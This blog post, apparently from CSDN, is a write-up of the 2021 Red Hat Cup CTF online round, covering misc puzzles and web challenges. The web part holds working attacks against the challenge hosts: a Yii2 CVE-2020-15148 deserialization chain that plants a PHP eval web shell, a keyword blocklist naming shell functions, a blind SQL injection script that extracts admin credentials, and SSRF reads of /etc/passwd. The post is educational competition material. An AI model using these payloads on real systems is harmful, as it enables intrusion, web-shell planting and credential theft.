2021第四届红帽杯网络安全大赛-线上赛Writeup


记录一下被锤爆的一天…orz

MISC

签到

在这里插入图片描述
签到抢了个二血2333,第一次拿二血呜呜呜,虽然是签到,还是很激动。

附件名称叫EBCDIC.zip

010Editor直接选择EBCDIC编码
在这里插入图片描述
在这里插入图片描述

flag{we1c0me_t0_redhat2021}

colorful code

在这里插入图片描述
这题可惜了,当我想出来怎么做的时候,已经没有时间来写脚本了…

首先题目名称提示:colorful code,这点当时第一时间想到了前段时间安恒赛misc有一题colorful porgramming
在这里插入图片描述
colorful porgramming详情见:https://www.bertnase.de/npiet/

附件中data1是文本文件,data2是数据文件,用hexdump查看如下
在这里插入图片描述
data1中是0-19的数字,用空格分开。也看不出什么别的(当时在这浪费了比较多的时间)。
在这里插入图片描述
data1暂时也看不出来和图片有什么关系,所以图片的线索在data2
在这里插入图片描述
咋一看也和图片没什关系,但是当我们将每一个字节的十六进制转换成RGB十进制,三个一组

from binascii import *

with open('data2','rb') as f:
    f = hexlify(f.read()).decode()
    n = 0
    color_list = []
    for i in range(0,len(f),2):
        i = f[i:i+2]
        color_list.append(int(i,16))
        n += 1
        if n == 3:
            print(tuple(color_list))
            color_list = []
            n = 0
        else:
            continue

运行结果

PS C:\Users\Administrator\Downloads\colorful_code-1> python .\code.py
(0, 0, 0)
(0, 0, 192)
(0, 255, 255)
(0, 255, 0)
(255, 192, 255)
(255, 192, 192)
(192, 192, 255)
(192, 192, 0)
(255, 0, 255)
(255, 0, 0)
(192, 0, 0)
(192, 0, 192)
(255, 255, 255)
(255, 255, 0)
(255, 255, 192)
(0, 192, 0)
(0, 192, 192)
(192, 255, 255)
(192, 255, 192)
(0, 0, 255)
(20, 20, 20)
(21, 21, 21)
(22, 22, 22)
(23, 23, 23)
(24, 24, 24)
(25, 25, 25)
.......
(250, 250, 250)
(251, 251, 251)
(252, 252, 252)
(253, 253, 253)
(254, 254, 254)
(255, 255, 255)

很明显,前20组数据和后面的数据不太一样。然后联想到前面data1中只有0-19的数字,猜测data10-19应该是对应data2种这二十组像素数据的下标。

OK,那么思路到这里就很清楚了。我们将这二十组RGB像素,按照data1中的顺序,将这些像素putpixel()即可。

思考到这里的时候还有最后一个问题,那就是生成的图片的宽高。要知道宽高,我们首先要知道图片的总像素,总像素,直接计算下data1中有多少个0-19数字。

Python简单处理

def str2list():
    with open('data1.txt') as f:
        f = f.read()
        index_list = f.split(' ')
        return index_list

print(str2list())
print(len(str2list()))

在这里插入图片描述
这里需要注意,因为data1最后有两个空格,所以会切多一个元素出来,去掉即可。所以这里总像素是:7067

7067看起来不像是一个比较常见的图片总像素数,不太好计算,直接在线分解质因数得到宽高

分解质因数:http://tools.jb51.net/jisuanqi/factor_calc

在这里插入图片描述
就先推测宽为: 37,高为: 191

OK,接下来直接Python简单处理下即可得到flag.png

# -*- coding:utf-8 -*-
# Author: mochu7
from PIL import Image
from binascii import *

def str2list():
    with open('data1','r') as f:
        f = f.read()
        index_list = f.split(' ')[:-1]
        return index_list

def num2color():
    with open('data2','rb') as f:
        f = hexlify(f.read()).decode()
        n = 0
        idx = 0
        color_dic = {}
        color_list = []
        for i in range(0,len(f),2):
            i = f[i:i+2]
            color_list.append(int(i,16))
            n += 1
            if n == 3:
                color_dic[idx] = tuple(color_list)
                color_list = []
                n = 0
                idx += 1
            elif idx == 20:
                break
    return color_dic

def genimg():
    width, height = 37, 191
    img = Image.new("RGB",(width,height))
    imgpixels = str2list()
    colorlist = num2color()
    pixlist = []
    for pix in imgpixels:
        pixlist.append(colorlist[int(pix)])
    idx = 0
    for w in range(width):
        for h in range(height):
            img.putpixel([w,h], pixlist[idx])
            idx += 1
    img.save('flag.png')


if __name__ == '__main__':
    # print(len(str2list()))
    # print(num2color())
    genimg()

在这里插入图片描述
npiet onlinehttps://www.bertnase.de/npiet/npiet-execute.php

在这里插入图片描述
得到flag

flag{88842f20-fb8c-45c9-ae8f-36135b6a0f11}

WEB

find_it

在这里插入图片描述
在这里插入图片描述
目录扫描发现robots.txt
在这里插入图片描述
存在1ndexx.php,直接访问并没有什么信息。猜测存在vim备份文件
访问view-source:http://eci-2zefc95c45rhg0wuefre.cloudeci1.ichunqiu.com/.1ndexx.php.swp拿到源码

<?php $link = mysql_connect('localhost', 'root'); ?>
<html>
<head>
	<title>Hello worldd!</title>
	<style>
	body {
		background-color: white;
		text-align: center;
		padding: 50px;
		font-family: "Open Sans","Helvetica Neue",Helvetica,Arial,sans-serif;
	}

	#logo {
		margin-bottom: 40px;
	}
	</style>
</head>
<body>
	<img id="logo" src="logo.png" />
	<h1><?php echo "Hello My freind!"; ?></h1>
	<?php if($link) { ?>
		<h2>I Can't view my php files?!</h2>
	<?php } else { ?>
		<h2>MySQL Server version: <?php echo mysql_get_server_info(); ?></h2>
	<?php } ?>
</body>
</html>
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
	die("you die");
}
if(strlen($a)>33){
	die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

正则没有忽略大小写,本来是怎么想办法怎么绕过disable_functionflag.php的,但是写入查看phpinfo()的时候发现

/index.php?code=<?=phpinfo();?>

访问hack.php
发现flag被记录进了phpinfo的全局变量里,送分了
在这里插入图片描述
这题应该非预期了

framework

在这里插入图片描述
在这里插入图片描述
Yii框架,目录扫描发现www.zip
在这里插入图片描述
源码中简单看了下,知道这是Yii2框架,搜索引擎找一下如何查看Yii2的版本
在这里插入图片描述
本地调试,在web/index.php中添加一行echo Yii::getVersion();
在这里插入图片描述
在这里插入图片描述
得到当前版本信息:2.0.32

搜索引擎找这个版本或者更高版本的漏洞

最后发现是一个CVE-2020-15148的反序列化RCE

网上相关利用文章很多,我参考的是以下两篇:

在这里插入图片描述
在这里插入图片描述

/index.php?r=site/about&message=GET%20/r=site/about&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

得到一个不完整的phpinfo
在这里插入图片描述
之后测试的时候,发现systemeval之类的一些函数好像都没有效果,猜测可能设置了disable_functions

不过最后发现assert能用、file_put_contents()也能用

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'assert';
            $this->id = 'file_put_contents(\'mochu7.php\',\'<?php eval($_POST[7]);?>\');';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
/index.php?r=site/about&message=GET%20/r=site/about&message=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NjoiYXNzZXJ0IjtzOjI6ImlkIjtzOjU5OiJmaWxlX3B1dF9jb250ZW50cygnbW9jaHU3LnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUWzddKTs/PicpOyI7fWk6MTtzOjM6InJ1biI7fX19fQ==

在这里插入图片描述
上蚁剑,用插件。
phpinfo的信息显示这里是Apache/2.4.6 (CentOS) PHP/5.6.40
选择Apache_mod_cgi
在这里插入图片描述

WebsiteManger

在这里插入图片描述
在这里插入图片描述
查看源码
在这里插入图片描述
图片的id貌似是跟数据库存在交互的
在这里插入图片描述
长度177的都是被过滤的关键字

布尔盲注

/image.php?id=if(1=1,1,5)	True
/image.php?id=if(1=2,1,5)	False

条件为真时?id=1,回显第一张图片,条件为假时?id=5,没有id=5的图片,什么都没有。即可作为布尔盲注判断条件

编写简单的Python盲注脚本

import string
from requests import *

allstr = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'

myurl = 'http://eci-2ze8j3xqhbs4y2thbqra.cloudeci1.ichunqiu.com/image.php'

info = ''
for i in range(1,50):
    for s in allstr:
        payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
        resp = get(url=myurl+payload)
        if len(resp.text) > 4000:
             info += s
             print(info)
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))

payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))

payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))

注入查询到信息

Current_database: ctf

Tables_in_ctf: images,users

Columns_in_users: username,password

在这里插入图片描述
得到账户admin,密码441cc8327a306b48b7a32

登录admin
在这里插入图片描述
curl.php这里应该存在SSRF

尝试file://协议去读文件

file:///etc/passwd

在这里插入图片描述
在这里插入图片描述
直接读file:///flag
在这里插入图片描述

ezlight

下面到了膜大佬时刻
orz…orz…orz…orz…orz…orz…orz…
Y1ngyyds!!!
https://www.gem-love.com/websecurity/2763.html

  • 37
    点赞
  • 81
    收藏
  • 打赏
    打赏
  • 29
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 29
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

末初mochu7

谢谢老板!

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值